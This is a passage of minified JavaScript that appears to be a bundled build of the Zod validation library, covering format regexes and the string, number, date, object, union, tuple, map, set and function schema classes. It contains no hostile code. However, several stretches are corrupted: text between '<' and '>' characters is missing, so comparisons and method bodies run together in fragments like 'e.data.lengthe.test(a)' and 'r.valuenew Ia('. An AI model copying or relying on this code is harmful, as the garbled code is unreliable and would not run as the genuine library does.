0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/,QM=/^(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))\/(12[0-8]|1[01][0-9]|[1-9]?[0-9])$/,e2=/^([0-9a-zA-Z+/]{4})*(([0-9a-zA-Z+/]{2}==)|([0-9a-zA-Z+/]{3}=))?$/,t2=/^([0-9a-zA-Z-_]{4})*(([0-9a-zA-Z-_]{2}(==)?)|([0-9a-zA-Z-_]{3}(=)?))?$/,mx="((\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-((0[13578]|1[02])-(0[1-9]|[12]\\d|3[01])|(0[469]|11)-(0[1-9]|[12]\\d|30)|(02)-(0[1-9]|1\\d|2[0-8])))",r2=new RegExp(`^${mx}$`);function hx(t){let e="[0-5]\\d";t.precision?e=`${e}\\.\\d{${t.precision}}`:t.precision==null&&(e=`${e}(\\.\\d+)?`);let r=t.precision?"+":"?";return`([01]\\d|2[0-3]):[0-5]\\d(:${e})${r}`}function a2(t){return new RegExp(`^${hx(t)}$`)}function vx(t){let e=`${mx}T${hx(t)}`,r=[];return r.push(t.local?"Z?":"Z"),t.offset&&r.push("([+-]\\d{2}:?\\d{2})"),e=`${e}(${r.join("|")})`,new RegExp(`^${e}$`)}function n2(t,e){return!!((e==="v4"||!e)&&XM.test(t)||(e==="v6"||!e)&&YM.test(t))}function s2(t,e){if(!ZM.test(t))return!1;try{let[r]=t.split(".");if(!r)return!1;let n=r.replace(/-/g,"+").replace(/_/g,"/").padEnd(r.length+(4-r.length%4)%4,"="),a=JSON.parse(atob(n));return!(typeof a!="object"||a===null||"typ"in a&&a?.typ!=="JWT"||!a.alg||e&&a.alg!==e)}catch{return!1}}function i2(t,e){return!!((e==="v4"||!e)&&JM.test(t)||(e==="v6"||!e)&&QM.test(t))}var Ia=class t extends qe{_parse(e){if(this._def.coerce&&(e.data=String(e.data)),this._getType(e)!==ge.string){let s=this._getOrReturnCtx(e);return fe(s,{code:ie.invalid_type,expected:ge.string,received:s.parsedType}),$e}let n=new Lt,a;for(let s of this._def.checks)if(s.kind==="min")e.data.lengths.value&&(a=this._getOrReturnCtx(e,a),fe(a,{code:ie.too_big,maximum:s.value,type:"string",inclusive:!0,exact:!1,message:s.message}),n.dirty());else if(s.kind==="length"){let i=e.data.length>s.value,o=e.data.lengthe.test(a),{validation:r,code:ie.invalid_string,...be.errToObj(n)})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}email(e){return this._addCheck({kind:"email",...be.errToObj(e)})}url(e){return this._addCheck({kind:"url",...be.errToObj(e)})}emoji(e){return this._addCheck({kind:"emoji",...be.errToObj(e)})}uuid(e){return this._addCheck({kind:"uuid",...be.errToObj(e)})}nanoid(e){return this._addCheck({kind:"nanoid",...be.errToObj(e)})}cuid(e){return this._addCheck({kind:"cuid",...be.errToObj(e)})}cuid2(e){return this._addCheck({kind:"cuid2",...be.errToObj(e)})}ulid(e){return this._addCheck({kind:"ulid",...be.errToObj(e)})}base64(e){return this._addCheck({kind:"base64",...be.errToObj(e)})}base64url(e){return this._addCheck({kind:"base64url",...be.errToObj(e)})}jwt(e){return this._addCheck({kind:"jwt",...be.errToObj(e)})}ip(e){return this._addCheck({kind:"ip",...be.errToObj(e)})}cidr(e){return this._addCheck({kind:"cidr",...be.errToObj(e)})}datetime(e){return typeof e=="string"?this._addCheck({kind:"datetime",precision:null,offset:!1,local:!1,message:e}):this._addCheck({kind:"datetime",precision:typeof e?.precision>"u"?null:e?.precision,offset:e?.offset??!1,local:e?.local??!1,...be.errToObj(e?.message)})}date(e){return this._addCheck({kind:"date",message:e})}time(e){return typeof e=="string"?this._addCheck({kind:"time",precision:null,message:e}):this._addCheck({kind:"time",precision:typeof e?.precision>"u"?null:e?.precision,...be.errToObj(e?.message)})}duration(e){return this._addCheck({kind:"duration",...be.errToObj(e)})}regex(e,r){return this._addCheck({kind:"regex",regex:e,...be.errToObj(r)})}includes(e,r){return this._addCheck({kind:"includes",value:e,position:r?.position,...be.errToObj(r?.message)})}startsWith(e,r){return this._addCheck({kind:"startsWith",value:e,...be.errToObj(r)})}endsWith(e,r){return this._addCheck({kind:"endsWith",value:e,...be.errToObj(r)})}min(e,r){return this._addCheck({kind:"min",value:e,...be.errToObj(r)})}max(e,r){return this._addCheck({kind:"max",value:e,...be.errToObj(r)})}length(e,r){return this._addCheck({kind:"length",value:e,...be.errToObj(r)})}nonempty(e){return this.min(1,be.errToObj(e))}trim(){return new t({...this._def,checks:[...this._def.checks,{kind:"trim"}]})}toLowerCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toLowerCase"}]})}toUpperCase(){return new t({...this._def,checks:[...this._def.checks,{kind:"toUpperCase"}]})}get isDatetime(){return!!this._def.checks.find(e=>e.kind==="datetime")}get isDate(){return!!this._def.checks.find(e=>e.kind==="date")}get isTime(){return!!this._def.checks.find(e=>e.kind==="time")}get isDuration(){return!!this._def.checks.find(e=>e.kind==="duration")}get isEmail(){return!!this._def.checks.find(e=>e.kind==="email")}get isURL(){return!!this._def.checks.find(e=>e.kind==="url")}get isEmoji(){return!!this._def.checks.find(e=>e.kind==="emoji")}get isUUID(){return!!this._def.checks.find(e=>e.kind==="uuid")}get isNANOID(){return!!this._def.checks.find(e=>e.kind==="nanoid")}get isCUID(){return!!this._def.checks.find(e=>e.kind==="cuid")}get isCUID2(){return!!this._def.checks.find(e=>e.kind==="cuid2")}get isULID(){return!!this._def.checks.find(e=>e.kind==="ulid")}get isIP(){return!!this._def.checks.find(e=>e.kind==="ip")}get isCIDR(){return!!this._def.checks.find(e=>e.kind==="cidr")}get isBase64(){return!!this._def.checks.find(e=>e.kind==="base64")}get isBase64url(){return!!this._def.checks.find(e=>e.kind==="base64url")}get minLength(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxLength(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew Ia({checks:[],typeName:Pe.ZodString,coerce:t?.coerce??!1,...je(t)});function o2(t,e){let r=(t.toString().split(".")[1]||"").length,n=(e.toString().split(".")[1]||"").length,a=r>n?r:n,s=Number.parseInt(t.toFixed(a).replace(".","")),i=Number.parseInt(e.toFixed(a).replace(".",""));return s%i/10**a}var mn=class t extends qe{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte,this.step=this.multipleOf}_parse(e){if(this._def.coerce&&(e.data=Number(e.data)),this._getType(e)!==ge.number){let s=this._getOrReturnCtx(e);return fe(s,{code:ie.invalid_type,expected:ge.number,received:s.parsedType}),$e}let n,a=new Lt;for(let s of this._def.checks)s.kind==="int"?He.isInteger(e.data)||(n=this._getOrReturnCtx(e,n),fe(n,{code:ie.invalid_type,expected:"integer",received:"float",message:s.message}),a.dirty()):s.kind==="min"?(s.inclusive?e.datas.value:e.data>=s.value)&&(n=this._getOrReturnCtx(e,n),fe(n,{code:ie.too_big,maximum:s.value,type:"number",inclusive:s.inclusive,exact:!1,message:s.message}),a.dirty()):s.kind==="multipleOf"?o2(e.data,s.value)!==0&&(n=this._getOrReturnCtx(e,n),fe(n,{code:ie.not_multiple_of,multipleOf:s.value,message:s.message}),a.dirty()):s.kind==="finite"?Number.isFinite(e.data)||(n=this._getOrReturnCtx(e,n),fe(n,{code:ie.not_finite,message:s.message}),a.dirty()):He.assertNever(s);return{status:a.value,value:e.data}}gte(e,r){return this.setLimit("min",e,!0,be.toString(r))}gt(e,r){return this.setLimit("min",e,!1,be.toString(r))}lte(e,r){return this.setLimit("max",e,!0,be.toString(r))}lt(e,r){return this.setLimit("max",e,!1,be.toString(r))}setLimit(e,r,n,a){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:be.toString(a)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}int(e){return this._addCheck({kind:"int",message:be.toString(e)})}positive(e){return this._addCheck({kind:"min",value:0,inclusive:!1,message:be.toString(e)})}negative(e){return this._addCheck({kind:"max",value:0,inclusive:!1,message:be.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:0,inclusive:!0,message:be.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:0,inclusive:!0,message:be.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:be.toString(r)})}finite(e){return this._addCheck({kind:"finite",message:be.toString(e)})}safe(e){return this._addCheck({kind:"min",inclusive:!0,value:Number.MIN_SAFE_INTEGER,message:be.toString(e)})._addCheck({kind:"max",inclusive:!0,value:Number.MAX_SAFE_INTEGER,message:be.toString(e)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuee.kind==="int"||e.kind==="multipleOf"&&He.isInteger(e.value))}get isFinite(){let e=null,r=null;for(let n of this._def.checks){if(n.kind==="finite"||n.kind==="int"||n.kind==="multipleOf")return!0;n.kind==="min"?(r===null||n.value>r)&&(r=n.value):n.kind==="max"&&(e===null||n.valuenew mn({checks:[],typeName:Pe.ZodNumber,coerce:t?.coerce||!1,...je(t)});var hn=class t extends qe{constructor(){super(...arguments),this.min=this.gte,this.max=this.lte}_parse(e){if(this._def.coerce)try{e.data=BigInt(e.data)}catch{return this._getInvalidInput(e)}if(this._getType(e)!==ge.bigint)return this._getInvalidInput(e);let n,a=new Lt;for(let s of this._def.checks)s.kind==="min"?(s.inclusive?e.datas.value:e.data>=s.value)&&(n=this._getOrReturnCtx(e,n),fe(n,{code:ie.too_big,type:"bigint",maximum:s.value,inclusive:s.inclusive,message:s.message}),a.dirty()):s.kind==="multipleOf"?e.data%s.value!==BigInt(0)&&(n=this._getOrReturnCtx(e,n),fe(n,{code:ie.not_multiple_of,multipleOf:s.value,message:s.message}),a.dirty()):He.assertNever(s);return{status:a.value,value:e.data}}_getInvalidInput(e){let r=this._getOrReturnCtx(e);return fe(r,{code:ie.invalid_type,expected:ge.bigint,received:r.parsedType}),$e}gte(e,r){return this.setLimit("min",e,!0,be.toString(r))}gt(e,r){return this.setLimit("min",e,!1,be.toString(r))}lte(e,r){return this.setLimit("max",e,!0,be.toString(r))}lt(e,r){return this.setLimit("max",e,!1,be.toString(r))}setLimit(e,r,n,a){return new t({...this._def,checks:[...this._def.checks,{kind:e,value:r,inclusive:n,message:be.toString(a)}]})}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}positive(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!1,message:be.toString(e)})}negative(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!1,message:be.toString(e)})}nonpositive(e){return this._addCheck({kind:"max",value:BigInt(0),inclusive:!0,message:be.toString(e)})}nonnegative(e){return this._addCheck({kind:"min",value:BigInt(0),inclusive:!0,message:be.toString(e)})}multipleOf(e,r){return this._addCheck({kind:"multipleOf",value:e,message:be.toString(r)})}get minValue(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e}get maxValue(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew hn({checks:[],typeName:Pe.ZodBigInt,coerce:t?.coerce??!1,...je(t)});var vn=class extends qe{_parse(e){if(this._def.coerce&&(e.data=!!e.data),this._getType(e)!==ge.boolean){let n=this._getOrReturnCtx(e);return fe(n,{code:ie.invalid_type,expected:ge.boolean,received:n.parsedType}),$e}return Ut(e.data)}};vn.create=t=>new vn({typeName:Pe.ZodBoolean,coerce:t?.coerce||!1,...je(t)});var gn=class t extends qe{_parse(e){if(this._def.coerce&&(e.data=new Date(e.data)),this._getType(e)!==ge.date){let s=this._getOrReturnCtx(e);return fe(s,{code:ie.invalid_type,expected:ge.date,received:s.parsedType}),$e}if(Number.isNaN(e.data.getTime())){let s=this._getOrReturnCtx(e);return fe(s,{code:ie.invalid_date}),$e}let n=new Lt,a;for(let s of this._def.checks)s.kind==="min"?e.data.getTime()s.value&&(a=this._getOrReturnCtx(e,a),fe(a,{code:ie.too_big,message:s.message,inclusive:!0,exact:!1,maximum:s.value,type:"date"}),n.dirty()):He.assertNever(s);return{status:n.value,value:new Date(e.data.getTime())}}_addCheck(e){return new t({...this._def,checks:[...this._def.checks,e]})}min(e,r){return this._addCheck({kind:"min",value:e.getTime(),message:be.toString(r)})}max(e,r){return this._addCheck({kind:"max",value:e.getTime(),message:be.toString(r)})}get minDate(){let e=null;for(let r of this._def.checks)r.kind==="min"&&(e===null||r.value>e)&&(e=r.value);return e!=null?new Date(e):null}get maxDate(){let e=null;for(let r of this._def.checks)r.kind==="max"&&(e===null||r.valuenew gn({checks:[],coerce:t?.coerce||!1,typeName:Pe.ZodDate,...je(t)});var Rs=class extends qe{_parse(e){if(this._getType(e)!==ge.symbol){let n=this._getOrReturnCtx(e);return fe(n,{code:ie.invalid_type,expected:ge.symbol,received:n.parsedType}),$e}return Ut(e.data)}};Rs.create=t=>new Rs({typeName:Pe.ZodSymbol,...je(t)});var yn=class extends qe{_parse(e){if(this._getType(e)!==ge.undefined){let n=this._getOrReturnCtx(e);return fe(n,{code:ie.invalid_type,expected:ge.undefined,received:n.parsedType}),$e}return Ut(e.data)}};yn.create=t=>new yn({typeName:Pe.ZodUndefined,...je(t)});var _n=class extends qe{_parse(e){if(this._getType(e)!==ge.null){let n=this._getOrReturnCtx(e);return fe(n,{code:ie.invalid_type,expected:ge.null,received:n.parsedType}),$e}return Ut(e.data)}};_n.create=t=>new _n({typeName:Pe.ZodNull,...je(t)});var Aa=class extends qe{constructor(){super(...arguments),this._any=!0}_parse(e){return Ut(e.data)}};Aa.create=t=>new Aa({typeName:Pe.ZodAny,...je(t)});var fa=class extends qe{constructor(){super(...arguments),this._unknown=!0}_parse(e){return Ut(e.data)}};fa.create=t=>new fa({typeName:Pe.ZodUnknown,...je(t)});var Mr=class extends qe{_parse(e){let r=this._getOrReturnCtx(e);return fe(r,{code:ie.invalid_type,expected:ge.never,received:r.parsedType}),$e}};Mr.create=t=>new Mr({typeName:Pe.ZodNever,...je(t)});var Ps=class extends qe{_parse(e){if(this._getType(e)!==ge.undefined){let n=this._getOrReturnCtx(e);return fe(n,{code:ie.invalid_type,expected:ge.void,received:n.parsedType}),$e}return Ut(e.data)}};Ps.create=t=>new Ps({typeName:Pe.ZodVoid,...je(t)});var ma=class t extends qe{_parse(e){let{ctx:r,status:n}=this._processInputParams(e),a=this._def;if(r.parsedType!==ge.array)return fe(r,{code:ie.invalid_type,expected:ge.array,received:r.parsedType}),$e;if(a.exactLength!==null){let i=r.data.length>a.exactLength.value,o=r.data.lengtha.maxLength.value&&(fe(r,{code:ie.too_big,maximum:a.maxLength.value,type:"array",inclusive:!0,exact:!1,message:a.maxLength.message}),n.dirty()),r.common.async)return Promise.all([...r.data].map((i,o)=>a.type._parseAsync(new xr(r,i,r.path,o)))).then(i=>Lt.mergeArray(n,i));let s=[...r.data].map((i,o)=>a.type._parseSync(new xr(r,i,r.path,o)));return Lt.mergeArray(n,s)}get element(){return this._def.type}min(e,r){return new t({...this._def,minLength:{value:e,message:be.toString(r)}})}max(e,r){return new t({...this._def,maxLength:{value:e,message:be.toString(r)}})}length(e,r){return new t({...this._def,exactLength:{value:e,message:be.toString(r)}})}nonempty(e){return this.min(1,e)}};ma.create=(t,e)=>new ma({type:t,minLength:null,maxLength:null,exactLength:null,typeName:Pe.ZodArray,...je(e)});function $s(t){if(t instanceof tr){let e={};for(let r in t.shape){let n=t.shape[r];e[r]=br.create($s(n))}return new tr({...t._def,shape:()=>e})}else return t instanceof ma?new ma({...t._def,type:$s(t.element)}):t instanceof br?br.create($s(t.unwrap())):t instanceof ea?ea.create($s(t.unwrap())):t instanceof Qr?Qr.create(t.items.map(e=>$s(e))):t}var tr=class t extends qe{constructor(){super(...arguments),this._cached=null,this.nonstrict=this.passthrough,this.augment=this.extend}_getCached(){if(this._cached!==null)return this._cached;let e=this._def.shape(),r=He.objectKeys(e);return this._cached={shape:e,keys:r},this._cached}_parse(e){if(this._getType(e)!==ge.object){let u=this._getOrReturnCtx(e);return fe(u,{code:ie.invalid_type,expected:ge.object,received:u.parsedType}),$e}let{status:n,ctx:a}=this._processInputParams(e),{shape:s,keys:i}=this._getCached(),o=[];if(!(this._def.catchall instanceof Mr&&this._def.unknownKeys==="strip"))for(let u in a.data)i.includes(u)||o.push(u);let c=[];for(let u of i){let l=s[u],d=a.data[u];c.push({key:{status:"valid",value:u},value:l._parse(new xr(a,d,a.path,u)),alwaysSet:u in a.data})}if(this._def.catchall instanceof Mr){let u=this._def.unknownKeys;if(u==="passthrough")for(let l of o)c.push({key:{status:"valid",value:l},value:{status:"valid",value:a.data[l]}});else if(u==="strict")o.length>0&&(fe(a,{code:ie.unrecognized_keys,keys:o}),n.dirty());else if(u!=="strip")throw new Error("Internal ZodObject error: invalid unknownKeys value.")}else{let u=this._def.catchall;for(let l of o){let d=a.data[l];c.push({key:{status:"valid",value:l},value:u._parse(new xr(a,d,a.path,l)),alwaysSet:l in a.data})}}return a.common.async?Promise.resolve().then(async()=>{let u=[];for(let l of c){let d=await l.key,f=await l.value;u.push({key:d,value:f,alwaysSet:l.alwaysSet})}return u}).then(u=>Lt.mergeObjectSync(n,u)):Lt.mergeObjectSync(n,c)}get shape(){return this._def.shape()}strict(e){return be.errToObj,new t({...this._def,unknownKeys:"strict",...e!==void 0?{errorMap:(r,n)=>{let a=this._def.errorMap?.(r,n).message??n.defaultError;return r.code==="unrecognized_keys"?{message:be.errToObj(e).message??a}:{message:a}}}:{}})}strip(){return new t({...this._def,unknownKeys:"strip"})}passthrough(){return new t({...this._def,unknownKeys:"passthrough"})}extend(e){return new t({...this._def,shape:()=>({...this._def.shape(),...e})})}merge(e){return new t({unknownKeys:e._def.unknownKeys,catchall:e._def.catchall,shape:()=>({...this._def.shape(),...e._def.shape()}),typeName:Pe.ZodObject})}setKey(e,r){return this.augment({[e]:r})}catchall(e){return new t({...this._def,catchall:e})}pick(e){let r={};for(let n of He.objectKeys(e))e[n]&&this.shape[n]&&(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}omit(e){let r={};for(let n of He.objectKeys(this.shape))e[n]||(r[n]=this.shape[n]);return new t({...this._def,shape:()=>r})}deepPartial(){return $s(this)}partial(e){let r={};for(let n of He.objectKeys(this.shape)){let a=this.shape[n];e&&!e[n]?r[n]=a:r[n]=a.optional()}return new t({...this._def,shape:()=>r})}required(e){let r={};for(let n of He.objectKeys(this.shape))if(e&&!e[n])r[n]=this.shape[n];else{let s=this.shape[n];for(;s instanceof br;)s=s._def.innerType;r[n]=s}return new t({...this._def,shape:()=>r})}keyof(){return gx(He.objectKeys(this.shape))}};tr.create=(t,e)=>new tr({shape:()=>t,unknownKeys:"strip",catchall:Mr.create(),typeName:Pe.ZodObject,...je(e)});tr.strictCreate=(t,e)=>new tr({shape:()=>t,unknownKeys:"strict",catchall:Mr.create(),typeName:Pe.ZodObject,...je(e)});tr.lazycreate=(t,e)=>new tr({shape:t,unknownKeys:"strip",catchall:Mr.create(),typeName:Pe.ZodObject,...je(e)});var bn=class extends qe{_parse(e){let{ctx:r}=this._processInputParams(e),n=this._def.options;function a(s){for(let o of s)if(o.result.status==="valid")return o.result;for(let o of s)if(o.result.status==="dirty")return r.common.issues.push(...o.ctx.common.issues),o.result;let i=s.map(o=>new er(o.ctx.common.issues));return fe(r,{code:ie.invalid_union,unionErrors:i}),$e}if(r.common.async)return Promise.all(n.map(async s=>{let i={...r,common:{...r.common,issues:[]},parent:null};return{result:await s._parseAsync({data:r.data,path:r.path,parent:i}),ctx:i}})).then(a);{let s,i=[];for(let c of n){let u={...r,common:{...r.common,issues:[]},parent:null},l=c._parseSync({data:r.data,path:r.path,parent:u});if(l.status==="valid")return l;l.status==="dirty"&&!s&&(s={result:l,ctx:u}),u.common.issues.length&&i.push(u.common.issues)}if(s)return r.common.issues.push(...s.ctx.common.issues),s.result;let o=i.map(c=>new er(c));return fe(r,{code:ie.invalid_union,unionErrors:o}),$e}}get options(){return this._def.options}};bn.create=(t,e)=>new bn({options:t,typeName:Pe.ZodUnion,...je(e)});var pa=t=>t instanceof wn?pa(t.schema):t instanceof wr?pa(t.innerType()):t instanceof Sn?[t.value]:t instanceof En?t.options:t instanceof Tn?He.objectValues(t.enum):t instanceof kn?pa(t._def.innerType):t instanceof yn?[void 0]:t instanceof _n?[null]:t instanceof br?[void 0,...pa(t.unwrap())]:t instanceof ea?[null,...pa(t.unwrap())]:t instanceof eo||t instanceof Rn?pa(t.unwrap()):t instanceof $n?pa(t._def.innerType):[],Yc=class t extends qe{_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==ge.object)return fe(r,{code:ie.invalid_type,expected:ge.object,received:r.parsedType}),$e;let n=this.discriminator,a=r.data[n],s=this.optionsMap.get(a);return s?r.common.async?s._parseAsync({data:r.data,path:r.path,parent:r}):s._parseSync({data:r.data,path:r.path,parent:r}):(fe(r,{code:ie.invalid_union_discriminator,options:Array.from(this.optionsMap.keys()),path:[n]}),$e)}get discriminator(){return this._def.discriminator}get options(){return this._def.options}get optionsMap(){return this._def.optionsMap}static create(e,r,n){let a=new Map;for(let s of r){let i=pa(s.shape[e]);if(!i.length)throw new Error(`A discriminator value for key \`${e}\` could not be extracted from all schema options`);for(let o of i){if(a.has(o))throw new Error(`Discriminator property ${String(e)} has duplicate value ${String(o)}`);a.set(o,s)}}return new t({typeName:Pe.ZodDiscriminatedUnion,discriminator:e,options:r,optionsMap:a,...je(n)})}};function Xp(t,e){let r=Yr(t),n=Yr(e);if(t===e)return{valid:!0,data:t};if(r===ge.object&&n===ge.object){let a=He.objectKeys(e),s=He.objectKeys(t).filter(o=>a.indexOf(o)!==-1),i={...t,...e};for(let o of s){let c=Xp(t[o],e[o]);if(!c.valid)return{valid:!1};i[o]=c.data}return{valid:!0,data:i}}else if(r===ge.array&&n===ge.array){if(t.length!==e.length)return{valid:!1};let a=[];for(let s=0;s{if(Xc(s)||Xc(i))return $e;let o=Xp(s.value,i.value);return o.valid?((Jc(s)||Jc(i))&&r.dirty(),{status:r.value,value:o.data}):(fe(n,{code:ie.invalid_intersection_types}),$e)};return n.common.async?Promise.all([this._def.left._parseAsync({data:n.data,path:n.path,parent:n}),this._def.right._parseAsync({data:n.data,path:n.path,parent:n})]).then(([s,i])=>a(s,i)):a(this._def.left._parseSync({data:n.data,path:n.path,parent:n}),this._def.right._parseSync({data:n.data,path:n.path,parent:n}))}};xn.create=(t,e,r)=>new xn({left:t,right:e,typeName:Pe.ZodIntersection,...je(r)});var Qr=class t extends qe{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==ge.array)return fe(n,{code:ie.invalid_type,expected:ge.array,received:n.parsedType}),$e;if(n.data.lengththis._def.items.length&&(fe(n,{code:ie.too_big,maximum:this._def.items.length,inclusive:!0,exact:!1,type:"array"}),r.dirty());let s=[...n.data].map((i,o)=>{let c=this._def.items[o]||this._def.rest;return c?c._parse(new xr(n,i,n.path,o)):null}).filter(i=>!!i);return n.common.async?Promise.all(s).then(i=>Lt.mergeArray(r,i)):Lt.mergeArray(r,s)}get items(){return this._def.items}rest(e){return new t({...this._def,rest:e})}};Qr.create=(t,e)=>{if(!Array.isArray(t))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new Qr({items:t,typeName:Pe.ZodTuple,rest:null,...je(e)})};var Qc=class t extends qe{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==ge.object)return fe(n,{code:ie.invalid_type,expected:ge.object,received:n.parsedType}),$e;let a=[],s=this._def.keyType,i=this._def.valueType;for(let o in n.data)a.push({key:s._parse(new xr(n,o,n.path,o)),value:i._parse(new xr(n,n.data[o],n.path,o)),alwaysSet:o in n.data});return n.common.async?Lt.mergeObjectAsync(r,a):Lt.mergeObjectSync(r,a)}get element(){return this._def.valueType}static create(e,r,n){return r instanceof qe?new t({keyType:e,valueType:r,typeName:Pe.ZodRecord,...je(n)}):new t({keyType:Ia.create(),valueType:e,typeName:Pe.ZodRecord,...je(r)})}},Os=class extends qe{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==ge.map)return fe(n,{code:ie.invalid_type,expected:ge.map,received:n.parsedType}),$e;let a=this._def.keyType,s=this._def.valueType,i=[...n.data.entries()].map(([o,c],u)=>({key:a._parse(new xr(n,o,n.path,[u,"key"])),value:s._parse(new xr(n,c,n.path,[u,"value"]))}));if(n.common.async){let o=new Map;return Promise.resolve().then(async()=>{for(let c of i){let u=await c.key,l=await c.value;if(u.status==="aborted"||l.status==="aborted")return $e;(u.status==="dirty"||l.status==="dirty")&&r.dirty(),o.set(u.value,l.value)}return{status:r.value,value:o}})}else{let o=new Map;for(let c of i){let u=c.key,l=c.value;if(u.status==="aborted"||l.status==="aborted")return $e;(u.status==="dirty"||l.status==="dirty")&&r.dirty(),o.set(u.value,l.value)}return{status:r.value,value:o}}}};Os.create=(t,e,r)=>new Os({valueType:e,keyType:t,typeName:Pe.ZodMap,...je(r)});var Cs=class t extends qe{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==ge.set)return fe(n,{code:ie.invalid_type,expected:ge.set,received:n.parsedType}),$e;let a=this._def;a.minSize!==null&&n.data.sizea.maxSize.value&&(fe(n,{code:ie.too_big,maximum:a.maxSize.value,type:"set",inclusive:!0,exact:!1,message:a.maxSize.message}),r.dirty());let s=this._def.valueType;function i(c){let u=new Set;for(let l of c){if(l.status==="aborted")return $e;l.status==="dirty"&&r.dirty(),u.add(l.value)}return{status:r.value,value:u}}let o=[...n.data.values()].map((c,u)=>s._parse(new xr(n,c,n.path,u)));return n.common.async?Promise.all(o).then(c=>i(c)):i(o)}min(e,r){return new t({...this._def,minSize:{value:e,message:be.toString(r)}})}max(e,r){return new t({...this._def,maxSize:{value:e,message:be.toString(r)}})}size(e,r){return this.min(e,r).max(e,r)}nonempty(e){return this.min(1,e)}};Cs.create=(t,e)=>new Cs({valueType:t,minSize:null,maxSize:null,typeName:Pe.ZodSet,...je(e)});var eu=class t extends qe{constructor(){super(...arguments),this.validate=this.implement}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==ge.function)return fe(r,{code:ie.invalid_type,expected:ge.function,received:r.parsedType}),$e;function n(o,c){return Qi({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,Ts(),da].filter(u=>!!u),issueData:{code:ie.invalid_arguments,argumentsError:c}})}function a(o,c){return Qi({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,Ts(),da].filter(u=>!!u),issueData:{code:ie.invalid_return_type,returnTypeError:c}})}let s={errorMap:r.common.contextualErrorMap},i=r.data;if(this._def.returns instanceof Na){let o=this;return Ut(async function(...c){let u=new er([]),l=await o._def.args.parseAsync(c,s).catch(m=>{throw u.addIssue(n(c,m)),u}),d=await Reflect.apply(i,this,l);return await o._def.returns._def.type.parseAsync(d,s).catch(m=>{throw u.addIssue(a(d,m)),u})})}else{let o=this;return Ut(function(...c){let u=o._def.args.safeParse(c,s);if(!u.success)throw new er([n(c,u.error)]);let l=Reflect.apply(i,this,u.data),d=o._def.returns.safeParse(l,s);if(!d.success)throw new er([a(l,d.error)]);return d.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...e){return new t({...this._def,args:Qr.create(e).rest(fa.create())})}returns(e){return new t({...this._def,returns:e})}implement(e){return this.parse(e)}strictImplement(e){return this.parse(e)}static create(e,r,n){return new t({args:e||Qr.create([]).rest(fa.create()),returns:r||fa.create(),typeName:Pe.ZodFunction,...je(n)})}},wn=class extends qe{get schema(){return this._def.getter()}_parse(e){let{ctx:r}=this._processInputParams(e);return this._def.getter()._parse({data:r.data,path:r.path,parent:r})}};wn.create=(t,e)=>new wn({getter:t,typeName:Pe.ZodLazy,...je(e)});var Sn=class extends qe{_parse(e){if(e.data!==this._def.value){let r=this._getOrReturnCtx(e);return 